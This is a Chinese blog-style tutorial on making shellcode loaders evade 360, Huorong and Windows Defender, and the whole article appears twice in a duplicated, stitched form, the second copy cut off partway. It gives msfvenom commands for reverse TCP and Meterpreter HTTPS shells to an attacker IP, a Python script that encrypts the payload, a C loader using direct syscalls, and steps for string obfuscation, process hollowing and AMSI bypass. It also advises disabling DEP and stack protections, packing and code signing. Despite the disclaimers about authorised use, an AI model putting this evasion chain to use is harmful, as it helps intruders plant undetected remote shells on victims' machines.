1. 项目概述理解“免杀”的本质与三重防御的挑战最近在和一些做安全研究的朋友交流时大家普遍提到一个痛点自己写的工具或者一些用于测试的Payload在目标机器上还没跑起来就被360、火绒和Windows Defender这三座大山给联手“拍死”了。这确实是个很现实的问题无论是做渗透测试、红队演练还是进行安全产品的能力验证绕过主流杀软的检测都是必须面对的课题。今天我们就来深入聊聊如何针对Shellcode实现免杀突破这三重防御。首先我们得明确一点这里讨论的“免杀”技术完全是在合法授权和安全研究的范畴内进行的。它的核心价值在于帮助安全从业者理解攻击者的对抗手法从而更好地构建防御体系、测试安全产品的检测能力。任何技术都是一把双刃剑关键在于使用者的意图。那么为什么是ShellcodeShellcode本质是一段直接操作CPU、执行特定功能的机器码。它不依赖特定的文件格式如PE因此具有极高的灵活性是许多高级攻击载荷如Meterpreter、Cobalt Strike Beacon的核心。也正因为这种“无文件”或“内存执行”的特性它成为了对抗静态文件扫描的利器但同时也面临着行为检测和内存扫描的严峻挑战。我们面对的三位“守门员”各有特点Windows Defender (Microsoft Defender Antivirus)作为系统内置的杀软它深度集成于Windows内核拥有AMSI反恶意软件扫描接口、云查杀和强大的行为监控能力。它的静态查杀引擎对已知特征非常敏感但有时对“白加黑”或复杂混淆的样本反应稍慢。360安全卫士国内市场的霸主以其“云主防”和“多引擎”著称。它不仅有本地QVM启发式引擎和鲲鹏引擎还能瞬间联动云端海量黑白名单和AI模型。它的防御是立体的从文件落地、进程启动到网络行为层层设卡。很多新手写的简单Shellcode加载器在360面前几乎就是“裸奔”。火绒安全以“安静”、“轻量”和“主防强”出名。火绒的静态查杀可能不如前两者激进但其“行为沙盒”和“恶意行为监控”非常厉害。它不依赖庞大的特征库而是专注于分析程序的关键行为序列比如申请可执行内存、修改自身代码、进行敏感API调用等。一个程序哪怕看起来再“干净”只要行为可疑火绒就可能拦截。所以我们的目标不是制造一个“万能”的免杀工具而是理解它们的检测原理并针对性地设计我们的Shellcode加载器。这更像是一场“猫鼠游戏”我们需要不断变换思路和手法。下面我将从设计思路、关键技术、实操实现到问题排查完整地拆解这个过程。2. 核心思路与对抗策略拆解要实现有效的免杀不能盲目地尝试各种加密编码工具而必须有清晰的策略。我们的对抗是分层次的对应杀软的不同检测阶段。2.1 对抗静态特征扫描这是第一道关卡。杀软会扫描磁盘上的文件匹配已知的恶意软件特征码Signature。对于Shellcode加载器特征可能存在于硬编码的Shellcode字节序列这是最明显的特征。用于解码/解密的函数代码模式例如一个简单的XOR循环其汇编指令序列可能被识别。敏感的API函数名称字符串如VirtualAlloc,CreateThread,WriteProcessMemory等如果以明文字符串形式存在很容易被标记。编译器的默认行为某些编译器生成的代码段、导入表结构具有固定模式。我们的策略加密/编码Shellcode这是基础。不仅要对Shellcode本身进行AES、RC4或简单的异或加密最好对加密后的数据再进行一次Base64或Hex编码使其在静态文件中呈现为一段“无害”的字符串或字节数组。字符串混淆将所有敏感的API函数名、调试信息字符串进行混淆。例如将VirtualAlloc拆分成多个片段在运行时拼接或者使用简单的运算在内存中还原。代码混淆与花指令在关键函数中插入大量无意义的汇编指令花指令或者使用控制流扁平化、不透明谓词等技术打乱代码的逻辑结构增加逆向分析和特征提取的难度。使用Syscall直接调用终极的字符串隐藏方案。不通过kernel32.dll的导出函数而是直接通过系统调用号SSN调用底层NTAPI如NtAllocateVirtualMemory。这样导入表中就不会出现敏感函数名。2.2 对抗动态行为检测主防文件过了静态扫描运行起来才是真正的考验。主防会监控进程的运行时行为。内存操作序列连续调用VirtualAlloc(申请内存) -WriteProcessMemory(写入数据) -CreateThread(创建线程执行) 或VirtualProtect(修改内存为可执行) - 跳转执行。这是一个非常经典的Shellcode加载模式。敏感API调用除了上述API还有OpenProcess,CreateRemoteThread,QueueUserAPC等进程注入相关API。内存属性修改将内存页从PAGE_READWRITE改为PAGE_EXECUTE_READ这是“自修改代码”的典型行为。父进程-子进程关系异常例如一个notepad.exe进程突然去申请可执行内存并创建远程线程就非常可疑。我们的策略拆分与延时不要将“申请-写入-执行”这三个动作紧凑地连续完成。可以在程序启动时申请内存过一段时间或等待某个事件再写入Shellcode再等待更久才去执行。打乱行为的时间序列。API调用链伪装间接调用通过动态获取函数地址GetProcAddress来调用API而不是直接链接。使用非常规API例如用HeapAlloc代替VirtualAlloc申请内存虽然通常不可执行但可结合其他技巧。或者使用NtMapViewOfSection等更底层的函数。** unhook 与直接Syscall**许多杀软会通过挂钩Hook用户层的API函数如NtCreateThreadEx来监控行为。我们可以尝试恢复unhook这些钩子或者绕过它们直接进行系统调用Syscall让监控失效。进程注入与伪装进程镂空Process Hollowing创建一个合法进程如svchost.exe并挂起将其主模块内存“镂空”替换为我们的Shellcode再恢复执行。从外部看这是一个合法进程。DLL劫持/搜索顺序劫持将恶意代码放在一个合法DLL中利用应用程序加载DLL的搜索顺序使其加载我们的DLL并执行。父进程欺骗PPID Spoofing让我们创建的进程看起来是由explorer.exe或services.exe等可信父进程创建的而非我们的恶意程序。内存保护技巧先申请PAGE_READWRITE内存写入Shellcode然后调用VirtualProtect改为PAGE_EXECUTE_READ。这比直接申请PAGE_EXECUTE_READWRITE更隐蔽一些。使用VirtualAlloc和VirtualProtect的“占位”和“替换”技巧或者利用NtCreateSectionNtMapViewOfSection来创建可执行内存区域。2.3 对抗内存扫描与AMSI当进程运行起来后杀软尤其是Defender还会进行内存扫描。AMSI则专门针对脚本PowerShell, VBS等和.NET程序进行扫描。我们的策略反射式DLL加载Reflective DLL Injection不通过LoadLibrary将DLL写入磁盘并加载而是将DLL文件本身作为数据在内存中自主完成重定位、导入表解析等加载过程。这样磁盘上没有DLL文件进程模块列表中也没有这个DLL传统内存扫描难以发现。内存加密仅在执行时解密Shellcode执行完毕后立即重新加密或销毁。这可以对抗周期性的内存扫描。规避AMSI对于PowerShell加载器需要先 patch 或禁用AMSI。常见方法是在脚本开头强制将amsiContext或相关函数标记为失败或者通过反射加载未签名的.NET程序集来绕过AMSI的扫描。使用合法进程的内存空间通过进程注入技术将Shellcode写入notepad.exe,msiexec.exe等白名单进程在其内存上下文中执行。杀软对这些进程的行为监控可能相对宽松。重要提示没有任何一种方法是永久的“银弹”。杀软厂商也在持续更新其检测逻辑。今天有效的方法明天可能就会被加入特征库或行为规则。免杀是一个持续对抗的过程核心在于思路的灵活组合与创新。3. 关键技术点深度解析与工具选型有了策略我们需要具体的“武器”来实现。下面解析几个关键的技术点并讨论常见的工具和库。3.1 Shellcode的生成与加密Shellcode本身需要足够稳定和通用。我们通常使用Metasploit的msfvenom或Cobalt Strike的Payload Generator来生成。# 示例生成一个反向TCP连接的Shellcode (x64)输出为C语言数组格式 msfvenom -p windows/x64/shell_reverse_tcp LHOSTYOUR_IP LPORT4444 -f c -b \x00\x0a\x0d生成后我们必须对其进行加密。一个简单而有效的双层处理流程是使用对称加密算法如AES-256-CBC加密原始Shellcode。需要一个密钥和IV初始化向量。将加密后的字节数组进行Base64编码。这样最终嵌入到加载器中的是一段看似普通的Base64字符串静态分析时看不到任何有意义的机器码。在加载器中我们需要实现对应的Base64解码和AES解密函数。这里有一个技巧不要使用知名的密码学库如OpenSSL因为其函数调用模式可能被检测。可以自己实现一个简单的AES算法或者使用一个冷门的、代码经过混淆的微型加密库。3.2 加载器编写C/C vs Go vs Rust选择什么语言写加载器各有优劣C/C优势最接近系统底层控制力最强可以直接内联汇编方便实现Syscall、花指令等高级技巧。编译后的体积可以做到非常小。劣势需要自己处理很多细节如字符串混淆、导入表处理对开发者要求高。一些编译选项和代码模式容易被特征识别。Go优势静态编译单个可执行文件包含所有依赖部署简单。Go编译的二进制文件具有独特的运行时结构和线程模型过去一段时间能绕过一些基于传统PE结构的检测。内置的crypto库方便实现加密。劣势体积庞大即使空程序也有~1-2MB。其运行时初始化过程、垃圾回收机制等行为模式正逐渐被安全厂商分析并加入检测规则例如一个Go程序突然申请可执行内存并跳转就很扎眼。Rust优势同样可以静态编译没有运行时负担体积比Go小。内存安全特性减少了低级错误。通过winapi或windowscrate可以方便地调用Windows API。劣势生态相对较新一些底层技巧的实现资料不如C/C丰富。编译后的代码模式也正在被安全研究。我的建议是对于追求极致隐匿和控制的场景C/C仍是首选。对于需要快速原型验证或利用语言特性进行初步绕过的场景可以尝试Go或Rust。但务必记住语言本身不是免杀的关键代码的具体实现和行为才是。3.3 Syscall与直接系统调用这是绕过用户层Hook的高级技术。原理是绕过kernel32.dll或ntdll.dll中的函数实现直接通过syscall指令调用内核服务。实现步骤获取SSNSystem Service Number在运行时从本机ntdll.dll的内存映像中解析目标函数如NtAllocateVirtualMemory的Syscall号。这样避免了硬编码SSN因为SSN随Windows版本变化。准备参数按照x64调用约定前四个参数放入RCX, RDX, R8, R9其余入栈将参数准备好。执行Syscall将SSN放入EAX然后执行syscall指令。示例概念性汇编mov r10, rcx ; Syscall调用约定要求将第一个参数移到r10 mov eax, [ssn] ; 将获取到的NtAllocateVirtualMemory的SSN放入eax syscall ret在C/C中我们需要编写汇编代码块或者使用编译器内在函数intrinsics来执行syscall指令。使用Syscall后用户层的API监控如火绒、360的Hook在很大程度上就失效了因为调用根本没有经过被Hook的函数。实操心得直接使用Syscall非常有效但实现起来复杂且不同Windows版本需要适配。可以使用一些开源项目如SysWhispers或Hell‘s Gate来帮助生成SSN和调用模板。但请注意这些知名项目本身也可能被检测需要对其代码进行一定的修改和混淆。3.4 进程注入技术的选择将Shellcode注入到另一个进程是隐蔽执行的关键。经典远程线程注入CreateRemoteThread最经典但也最容易被检测。主防几乎100%会监控CreateRemoteThread的跨进程调用。QueueUserAPC注入利用异步过程调用APC将代码注入到目标线程的队列中。当线程进入“可警告的”等待状态时会执行我们的代码。比远程线程稍隐蔽但针对QueueUserAPC的检测也很多。进程镂空Process Hollowing隐蔽性较好。难点在于需要完美地重建注入进程的环境如PEB、线程上下文否则容易崩溃或被检测到异常。DLL反射注入Reflective DLL Injection如前所述这是内存执行技术的典范没有磁盘文件没有模块列表。Donut是一个优秀的工具它可以将整个PE文件EXE/DLL转换成位置无关的Shellcode从而实现内存加载。我们可以用Donut将我们的Shellcode加载器本身封装成一段新的Shellcode再进行注入实现“套娃”。在当前环境下我倾向于组合使用使用进程镂空或父进程欺骗进程创建启动一个“干净”的宿主进程如rundll32.exe。在该进程内部使用反射式DLL注入技术将包含核心逻辑的“DLL”加载到内存中执行。这个“DLL”内部使用直接Syscall来执行最终的内存分配和Shellcode执行。这样形成了一个多层、多技术的链条大大增加了检测难度。4. 实战构建一个多层免杀加载器的实现步骤让我们来规划一个具体的实现方案它融合了上述的多个策略。我们将使用C编写一个加载器。4.1 第一阶段Shellcode处理与加载器框架生成并加密Shellcode# 使用msfvenom生成raw格式的Shellcode msfvenom -p windows/x64/meterpreter/reverse_https LHOST192.168.1.100 LPORT443 -f raw -o payload.bin # 使用一个简单的Python脚本进行AES加密和Base64编码 # encrypt.py from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import os key os.urandom(32) # AES-256 iv os.urandom(16) cipher AES.new(key, AES.MODE_CBC, iv) with open(payload.bin, rb) as f: raw_sc f.read() encrypted cipher.encrypt(pad(raw_sc, AES.block_size)) b64_sc base64.b64encode(encrypted).decode(utf-8) # 将b64_sc, key, iv 输出为C数组格式 print(// 将以下内容复制到加载器中) print(const char* b64_payload \ b64_sc \;) print(unsigned char key[] { , .join(f0x{b:02x} for b in key) };) print(unsigned char iv[] { , .join(f0x{b:02x} for b in iv) };)创建Visual Studio项目配置为Release模式关闭调试信息/DEBUG:NONE开启优化/O2使用MT运行时库静态链接以减少依赖。关闭SDL检查和安全开发生命周期检查。实现Base64解码和AES解密在网上找一个简洁的、无外部依赖的Base64解码和AES-256-CBC解密代码集成到项目中。避免使用#pragma comment(lib, crypt32.lib)这样明显的链接语句。4.2 第二阶段核心加载逻辑与混淆字符串混淆定义一个宏或函数用来隐藏API函数名。// 简单的异或混淆 char s_VirtualAlloc[] { V,i^0x55,r,t^0x55,u,a^0x55,l,A^0x55,l,l^0x55,o,c^0x55, 0 }; for(int i0; istrlen(s_VirtualAlloc); i) s_VirtualAlloc[i] ^ 0x55; // 运行时解密 HMODULE hKernel32 GetModuleHandleA(kernel32.dll); auto pVirtualAlloc (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(hKernel32, s_VirtualAlloc);实现Syscall加载可选但推荐集成SysWhispers生成NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx等函数的直接调用代码。这将是我们最终执行Shellcode的核心手段。编写Shellcode执行函数BOOL ExecuteShellcode(unsigned char* decrypted_sc, SIZE_T sc_size) { // 使用Syscall或混淆后的API指针 NTSTATUS status; PVOID baseAddr NULL; SIZE_T regionSize sc_size; // 1. 申请内存 (使用NtAllocateVirtualMemory Syscall) status NtAllocateVirtualMemory(GetCurrentProcess(), baseAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (status ! 0) return FALSE; // 2. 写入Shellcode memcpy(baseAddr, decrypted_sc, sc_size); // 3. 修改内存为可执行 (使用NtProtectVirtualMemory Syscall) DWORD oldProtect; status NtProtectVirtualMemory(GetCurrentProcess(), baseAddr, ®ionSize, PAGE_EXECUTE_READ, oldProtect); if (status ! 0) { VirtualFree(baseAddr, 0, MEM_RELEASE); return FALSE; } // 4. 执行 (使用NtCreateThreadEx Syscall或CreateThread) HANDLE hThread NULL; status NtCreateThreadEx(hThread, GENERIC_ALL, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)baseAddr, NULL, FALSE, 0, 0, 0, NULL); if (status ! 0) return FALSE; WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); // 可选执行后释放内存 // VirtualFree(baseAddr, 0, MEM_RELEASE); return TRUE; }插入花指令和垃圾代码在关键函数前后插入一些永不执行或执行无影响的汇编代码块干扰反汇编器和特征识别。__asm { push eax mov eax, 0xdeadbeef pop eax nop nop nop }4.3 第三阶段进程注入与行为伪装实现进程镂空使用CreateProcess创建目标进程如C:\\Windows\\System32\\rundll32.exe并设置CREATE_SUSPENDED标志。使用NtUnmapViewOfSection或ZwUnmapViewOfSection卸载目标进程的主模块内存。在我们自己的进程空间按照目标进程的PEB中的ImageBase地址使用VirtualAllocEx申请内存。将我们的Shellcode加载器或Donut生成的PE转Shellcode写入该内存。通过SetThreadContext修改挂起线程的上下文主要是RIP/EIP寄存器指向我们写入的代码入口。使用ResumeThread恢复线程执行。加入延时和随机操作在主函数中不要立即执行核心逻辑。可以加入Sleep(rand() % 30000 10000)随机睡眠10-40秒。或者循环检测某个文件是否存在、某个网络是否连通作为触发条件。这能有效绕过一些简单的沙箱或行为监控的时间阈值检测。清理痕迹执行完成后可以尝试删除自身文件自删除但这在Windows Defender受控文件夹访问等机制下可能失败需谨慎。4.4 编译与后处理编译选项优化链接器 - 高级 - 随机基址 (/DYNAMICBASE:YES)链接器 - 高级 - 数据执行保护 (DEP) - 否 (/NXCOMPAT:NO)注意这可能会触发一些安全策略需权衡链接器 - 高级 - 强制完整性检查 - 否 (/INTEGRITYCHECK:NO)链接器 - 清单文件 - 生成清单 - 否C/C - 代码生成 - 安全检查 - 禁用安全检查 (/GS-)加壳与混淆使用商业或开源的加壳工具对生成的EXE进行保护如VMProtect, Themida商业或开源的UPX但UPX特征明显需修改版本信息或手动加壳。加壳可以进一步隐藏原始代码结构和字符串。但请注意一些猛壳本身就会被杀软标记为恶意需要测试。签名可选高级如果条件允许使用有效的代码签名证书对可执行文件进行签名可以极大降低被拦截的概率。但这涉及法律和成本仅供学术讨论。5. 测试、排查与对抗升级完成编译后千万不要直接在主力机上测试。务必在隔离的虚拟机环境中进行。5.1 测试环境搭建虚拟机快照准备一个干净的Windows 10/11虚拟机安装好360、火绒和开启实时保护的Windows Defender。务必在测试前创建快照方便回滚。断网测试首次测试建议断网以测试本地引擎的检测能力。之后联网测试云查杀。行为监控工具使用Process Monitor, Process Hacker, API Monitor等工具监控你的加载器进程的所有操作看其行为序列是否与预期一致有无可疑调用。5.2 典型问题与排查问题现象可能原因排查与解决思路刚编译完保存到磁盘就被秒杀静态特征被识别加壳特征、字符串特征、代码段特征。1. 检查字符串混淆是否彻底。2. 尝试更换加壳工具或参数。3. 修改花指令模式。4. 使用不同编译器或版本重新编译如从VS2019换到VS2022或尝试MinGW。运行后进程瞬间消失无报错主防特别是360云主防或Defender的AM-PPL在进程启动初期基于行为直接终止。1. 增加启动延时和随机操作。2. 检查是否在短时间内连续调用了敏感API。尝试将“申请-写入-执行”的步骤用Sleep间隔开。3. 尝试使用更隐蔽的进程创建方式如通过COM对象、计划任务启动。运行后进程存在但Shellcode未执行网络无连接注入或执行过程失败。可能内存申请失败、线程创建失败或Shellcode本身在解密/还原过程中出错。1. 在关键函数调用后添加日志输出输出到文件或调试器记录返回值GetLastError。2. 使用调试器如x64dbg附加到进程单步跟踪看程序执行流在哪里中断或出错。3. 检查Shellcode解密函数确保密钥、IV、模式与加密时完全一致。联网后几分钟进程被终止云查杀滞后响应或内存扫描/行为监控后续判定为恶意。1. 检查是否有周期性的、可疑的行为如心跳包、持续外连。尝试让Shellcode的连接行为更“低调”。2. 实现内存加密执行后立即擦除或重加密。3. 考虑使用更合法的通信协议和端口进行伪装。火绒弹窗提示“恶意行为”或“程序联网”火绒的行为沙盒捕获了敏感操作序列。1. 仔细分析火绒的日志看它具体拦截了哪个行为如“创建远程线程”、“修改其他进程内存”。2. 针对被拦截的行为更换技术。例如如果“创建远程线程”被拦尝试使用QueueUserAPC或SetThreadContext进行执行流劫持。5.3 持续对抗与思路演进当你的加载器在某一天失效时意味着防御方升级了。你需要分析原因是被新的静态特征命中还是行为规则被更新可以尝试将样本上传到VirusTotal等平台查看各家杀软的报毒名从中获取线索如Trojan.Generic,Behavior:Win32/Injector等。调整策略换壳使用不同的加壳工具或自定义壳。改行为换一种进程注入技术或者改变API的调用顺序和时机。升级技术研究更新的绕过技术如利用Windows未公开的特性、合法的 LOLBinsLiving Off the Land Binaries来执行代码。模拟正常软件让你的加载器在前期执行一些正常软件都会有的行为如读取配置文件、访问注册表、进行一些无关的网络请求等然后再在后台悄悄执行恶意逻辑。最后我必须再次强调所有这些技术都应当用于授权的安全测试、产品评估和学术研究。理解和掌握攻击技术是为了能更好地进行防御。安全是一个动态博弈的领域唯有保持学习、深入原理才能跟上变化的节奏。在实际操作中耐心和细致的调试远比追求“一招鲜”更重要。每一个成功的免杀样本背后都是对系统机制和安防软件逻辑的深刻理解与无数次测试调整的结果。
Shellcode免杀实战:对抗360、火绒与Defender的三重防御体系
发布时间:2026/6/23 8:42:30
1. 项目概述理解“免杀”的本质与三重防御的挑战最近在和一些做安全研究的朋友交流时大家普遍提到一个痛点自己写的工具或者一些用于测试的Payload在目标机器上还没跑起来就被360、火绒和Windows Defender这三座大山给联手“拍死”了。这确实是个很现实的问题无论是做渗透测试、红队演练还是进行安全产品的能力验证绕过主流杀软的检测都是必须面对的课题。今天我们就来深入聊聊如何针对Shellcode实现免杀突破这三重防御。首先我们得明确一点这里讨论的“免杀”技术完全是在合法授权和安全研究的范畴内进行的。它的核心价值在于帮助安全从业者理解攻击者的对抗手法从而更好地构建防御体系、测试安全产品的检测能力。任何技术都是一把双刃剑关键在于使用者的意图。那么为什么是ShellcodeShellcode本质是一段直接操作CPU、执行特定功能的机器码。它不依赖特定的文件格式如PE因此具有极高的灵活性是许多高级攻击载荷如Meterpreter、Cobalt Strike Beacon的核心。也正因为这种“无文件”或“内存执行”的特性它成为了对抗静态文件扫描的利器但同时也面临着行为检测和内存扫描的严峻挑战。我们面对的三位“守门员”各有特点Windows Defender (Microsoft Defender Antivirus)作为系统内置的杀软它深度集成于Windows内核拥有AMSI反恶意软件扫描接口、云查杀和强大的行为监控能力。它的静态查杀引擎对已知特征非常敏感但有时对“白加黑”或复杂混淆的样本反应稍慢。360安全卫士国内市场的霸主以其“云主防”和“多引擎”著称。它不仅有本地QVM启发式引擎和鲲鹏引擎还能瞬间联动云端海量黑白名单和AI模型。它的防御是立体的从文件落地、进程启动到网络行为层层设卡。很多新手写的简单Shellcode加载器在360面前几乎就是“裸奔”。火绒安全以“安静”、“轻量”和“主防强”出名。火绒的静态查杀可能不如前两者激进但其“行为沙盒”和“恶意行为监控”非常厉害。它不依赖庞大的特征库而是专注于分析程序的关键行为序列比如申请可执行内存、修改自身代码、进行敏感API调用等。一个程序哪怕看起来再“干净”只要行为可疑火绒就可能拦截。所以我们的目标不是制造一个“万能”的免杀工具而是理解它们的检测原理并针对性地设计我们的Shellcode加载器。这更像是一场“猫鼠游戏”我们需要不断变换思路和手法。下面我将从设计思路、关键技术、实操实现到问题排查完整地拆解这个过程。2. 核心思路与对抗策略拆解要实现有效的免杀不能盲目地尝试各种加密编码工具而必须有清晰的策略。我们的对抗是分层次的对应杀软的不同检测阶段。2.1 对抗静态特征扫描这是第一道关卡。杀软会扫描磁盘上的文件匹配已知的恶意软件特征码Signature。对于Shellcode加载器特征可能存在于硬编码的Shellcode字节序列这是最明显的特征。用于解码/解密的函数代码模式例如一个简单的XOR循环其汇编指令序列可能被识别。敏感的API函数名称字符串如VirtualAlloc,CreateThread,WriteProcessMemory等如果以明文字符串形式存在很容易被标记。编译器的默认行为某些编译器生成的代码段、导入表结构具有固定模式。我们的策略加密/编码Shellcode这是基础。不仅要对Shellcode本身进行AES、RC4或简单的异或加密最好对加密后的数据再进行一次Base64或Hex编码使其在静态文件中呈现为一段“无害”的字符串或字节数组。字符串混淆将所有敏感的API函数名、调试信息字符串进行混淆。例如将VirtualAlloc拆分成多个片段在运行时拼接或者使用简单的运算在内存中还原。代码混淆与花指令在关键函数中插入大量无意义的汇编指令花指令或者使用控制流扁平化、不透明谓词等技术打乱代码的逻辑结构增加逆向分析和特征提取的难度。使用Syscall直接调用终极的字符串隐藏方案。不通过kernel32.dll的导出函数而是直接通过系统调用号SSN调用底层NTAPI如NtAllocateVirtualMemory。这样导入表中就不会出现敏感函数名。2.2 对抗动态行为检测主防文件过了静态扫描运行起来才是真正的考验。主防会监控进程的运行时行为。内存操作序列连续调用VirtualAlloc(申请内存) -WriteProcessMemory(写入数据) -CreateThread(创建线程执行) 或VirtualProtect(修改内存为可执行) - 跳转执行。这是一个非常经典的Shellcode加载模式。敏感API调用除了上述API还有OpenProcess,CreateRemoteThread,QueueUserAPC等进程注入相关API。内存属性修改将内存页从PAGE_READWRITE改为PAGE_EXECUTE_READ这是“自修改代码”的典型行为。父进程-子进程关系异常例如一个notepad.exe进程突然去申请可执行内存并创建远程线程就非常可疑。我们的策略拆分与延时不要将“申请-写入-执行”这三个动作紧凑地连续完成。可以在程序启动时申请内存过一段时间或等待某个事件再写入Shellcode再等待更久才去执行。打乱行为的时间序列。API调用链伪装间接调用通过动态获取函数地址GetProcAddress来调用API而不是直接链接。使用非常规API例如用HeapAlloc代替VirtualAlloc申请内存虽然通常不可执行但可结合其他技巧。或者使用NtMapViewOfSection等更底层的函数。** unhook 与直接Syscall**许多杀软会通过挂钩Hook用户层的API函数如NtCreateThreadEx来监控行为。我们可以尝试恢复unhook这些钩子或者绕过它们直接进行系统调用Syscall让监控失效。进程注入与伪装进程镂空Process Hollowing创建一个合法进程如svchost.exe并挂起将其主模块内存“镂空”替换为我们的Shellcode再恢复执行。从外部看这是一个合法进程。DLL劫持/搜索顺序劫持将恶意代码放在一个合法DLL中利用应用程序加载DLL的搜索顺序使其加载我们的DLL并执行。父进程欺骗PPID Spoofing让我们创建的进程看起来是由explorer.exe或services.exe等可信父进程创建的而非我们的恶意程序。内存保护技巧先申请PAGE_READWRITE内存写入Shellcode然后调用VirtualProtect改为PAGE_EXECUTE_READ。这比直接申请PAGE_EXECUTE_READWRITE更隐蔽一些。使用VirtualAlloc和VirtualProtect的“占位”和“替换”技巧或者利用NtCreateSectionNtMapViewOfSection来创建可执行内存区域。2.3 对抗内存扫描与AMSI当进程运行起来后杀软尤其是Defender还会进行内存扫描。AMSI则专门针对脚本PowerShell, VBS等和.NET程序进行扫描。我们的策略反射式DLL加载Reflective DLL Injection不通过LoadLibrary将DLL写入磁盘并加载而是将DLL文件本身作为数据在内存中自主完成重定位、导入表解析等加载过程。这样磁盘上没有DLL文件进程模块列表中也没有这个DLL传统内存扫描难以发现。内存加密仅在执行时解密Shellcode执行完毕后立即重新加密或销毁。这可以对抗周期性的内存扫描。规避AMSI对于PowerShell加载器需要先 patch 或禁用AMSI。常见方法是在脚本开头强制将amsiContext或相关函数标记为失败或者通过反射加载未签名的.NET程序集来绕过AMSI的扫描。使用合法进程的内存空间通过进程注入技术将Shellcode写入notepad.exe,msiexec.exe等白名单进程在其内存上下文中执行。杀软对这些进程的行为监控可能相对宽松。重要提示没有任何一种方法是永久的“银弹”。杀软厂商也在持续更新其检测逻辑。今天有效的方法明天可能就会被加入特征库或行为规则。免杀是一个持续对抗的过程核心在于思路的灵活组合与创新。3. 关键技术点深度解析与工具选型有了策略我们需要具体的“武器”来实现。下面解析几个关键的技术点并讨论常见的工具和库。3.1 Shellcode的生成与加密Shellcode本身需要足够稳定和通用。我们通常使用Metasploit的msfvenom或Cobalt Strike的Payload Generator来生成。# 示例生成一个反向TCP连接的Shellcode (x64)输出为C语言数组格式 msfvenom -p windows/x64/shell_reverse_tcp LHOSTYOUR_IP LPORT4444 -f c -b \x00\x0a\x0d生成后我们必须对其进行加密。一个简单而有效的双层处理流程是使用对称加密算法如AES-256-CBC加密原始Shellcode。需要一个密钥和IV初始化向量。将加密后的字节数组进行Base64编码。这样最终嵌入到加载器中的是一段看似普通的Base64字符串静态分析时看不到任何有意义的机器码。在加载器中我们需要实现对应的Base64解码和AES解密函数。这里有一个技巧不要使用知名的密码学库如OpenSSL因为其函数调用模式可能被检测。可以自己实现一个简单的AES算法或者使用一个冷门的、代码经过混淆的微型加密库。3.2 加载器编写C/C vs Go vs Rust选择什么语言写加载器各有优劣C/C优势最接近系统底层控制力最强可以直接内联汇编方便实现Syscall、花指令等高级技巧。编译后的体积可以做到非常小。劣势需要自己处理很多细节如字符串混淆、导入表处理对开发者要求高。一些编译选项和代码模式容易被特征识别。Go优势静态编译单个可执行文件包含所有依赖部署简单。Go编译的二进制文件具有独特的运行时结构和线程模型过去一段时间能绕过一些基于传统PE结构的检测。内置的crypto库方便实现加密。劣势体积庞大即使空程序也有~1-2MB。其运行时初始化过程、垃圾回收机制等行为模式正逐渐被安全厂商分析并加入检测规则例如一个Go程序突然申请可执行内存并跳转就很扎眼。Rust优势同样可以静态编译没有运行时负担体积比Go小。内存安全特性减少了低级错误。通过winapi或windowscrate可以方便地调用Windows API。劣势生态相对较新一些底层技巧的实现资料不如C/C丰富。编译后的代码模式也正在被安全研究。我的建议是对于追求极致隐匿和控制的场景C/C仍是首选。对于需要快速原型验证或利用语言特性进行初步绕过的场景可以尝试Go或Rust。但务必记住语言本身不是免杀的关键代码的具体实现和行为才是。3.3 Syscall与直接系统调用这是绕过用户层Hook的高级技术。原理是绕过kernel32.dll或ntdll.dll中的函数实现直接通过syscall指令调用内核服务。实现步骤获取SSNSystem Service Number在运行时从本机ntdll.dll的内存映像中解析目标函数如NtAllocateVirtualMemory的Syscall号。这样避免了硬编码SSN因为SSN随Windows版本变化。准备参数按照x64调用约定前四个参数放入RCX, RDX, R8, R9其余入栈将参数准备好。执行Syscall将SSN放入EAX然后执行syscall指令。示例概念性汇编mov r10, rcx ; Syscall调用约定要求将第一个参数移到r10 mov eax, [ssn] ; 将获取到的NtAllocateVirtualMemory的SSN放入eax syscall ret在C/C中我们需要编写汇编代码块或者使用编译器内在函数intrinsics来执行syscall指令。使用Syscall后用户层的API监控如火绒、360的Hook在很大程度上就失效了因为调用根本没有经过被Hook的函数。实操心得直接使用Syscall非常有效但实现起来复杂且不同Windows版本需要适配。可以使用一些开源项目如SysWhispers或Hell‘s Gate来帮助生成SSN和调用模板。但请注意这些知名项目本身也可能被检测需要对其代码进行一定的修改和混淆。3.4 进程注入技术的选择将Shellcode注入到另一个进程是隐蔽执行的关键。经典远程线程注入CreateRemoteThread最经典但也最容易被检测。主防几乎100%会监控CreateRemoteThread的跨进程调用。QueueUserAPC注入利用异步过程调用APC将代码注入到目标线程的队列中。当线程进入“可警告的”等待状态时会执行我们的代码。比远程线程稍隐蔽但针对QueueUserAPC的检测也很多。进程镂空Process Hollowing隐蔽性较好。难点在于需要完美地重建注入进程的环境如PEB、线程上下文否则容易崩溃或被检测到异常。DLL反射注入Reflective DLL Injection如前所述这是内存执行技术的典范没有磁盘文件没有模块列表。Donut是一个优秀的工具它可以将整个PE文件EXE/DLL转换成位置无关的Shellcode从而实现内存加载。我们可以用Donut将我们的Shellcode加载器本身封装成一段新的Shellcode再进行注入实现“套娃”。在当前环境下我倾向于组合使用使用进程镂空或父进程欺骗进程创建启动一个“干净”的宿主进程如rundll32.exe。在该进程内部使用反射式DLL注入技术将包含核心逻辑的“DLL”加载到内存中执行。这个“DLL”内部使用直接Syscall来执行最终的内存分配和Shellcode执行。这样形成了一个多层、多技术的链条大大增加了检测难度。4. 实战构建一个多层免杀加载器的实现步骤让我们来规划一个具体的实现方案它融合了上述的多个策略。我们将使用C编写一个加载器。4.1 第一阶段Shellcode处理与加载器框架生成并加密Shellcode# 使用msfvenom生成raw格式的Shellcode msfvenom -p windows/x64/meterpreter/reverse_https LHOST192.168.1.100 LPORT443 -f raw -o payload.bin # 使用一个简单的Python脚本进行AES加密和Base64编码 # encrypt.py from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import os key os.urandom(32) # AES-256 iv os.urandom(16) cipher AES.new(key, AES.MODE_CBC, iv) with open(payload.bin, rb) as f: raw_sc f.read() encrypted cipher.encrypt(pad(raw_sc, AES.block_size)) b64_sc base64.b64encode(encrypted).decode(utf-8) # 将b64_sc, 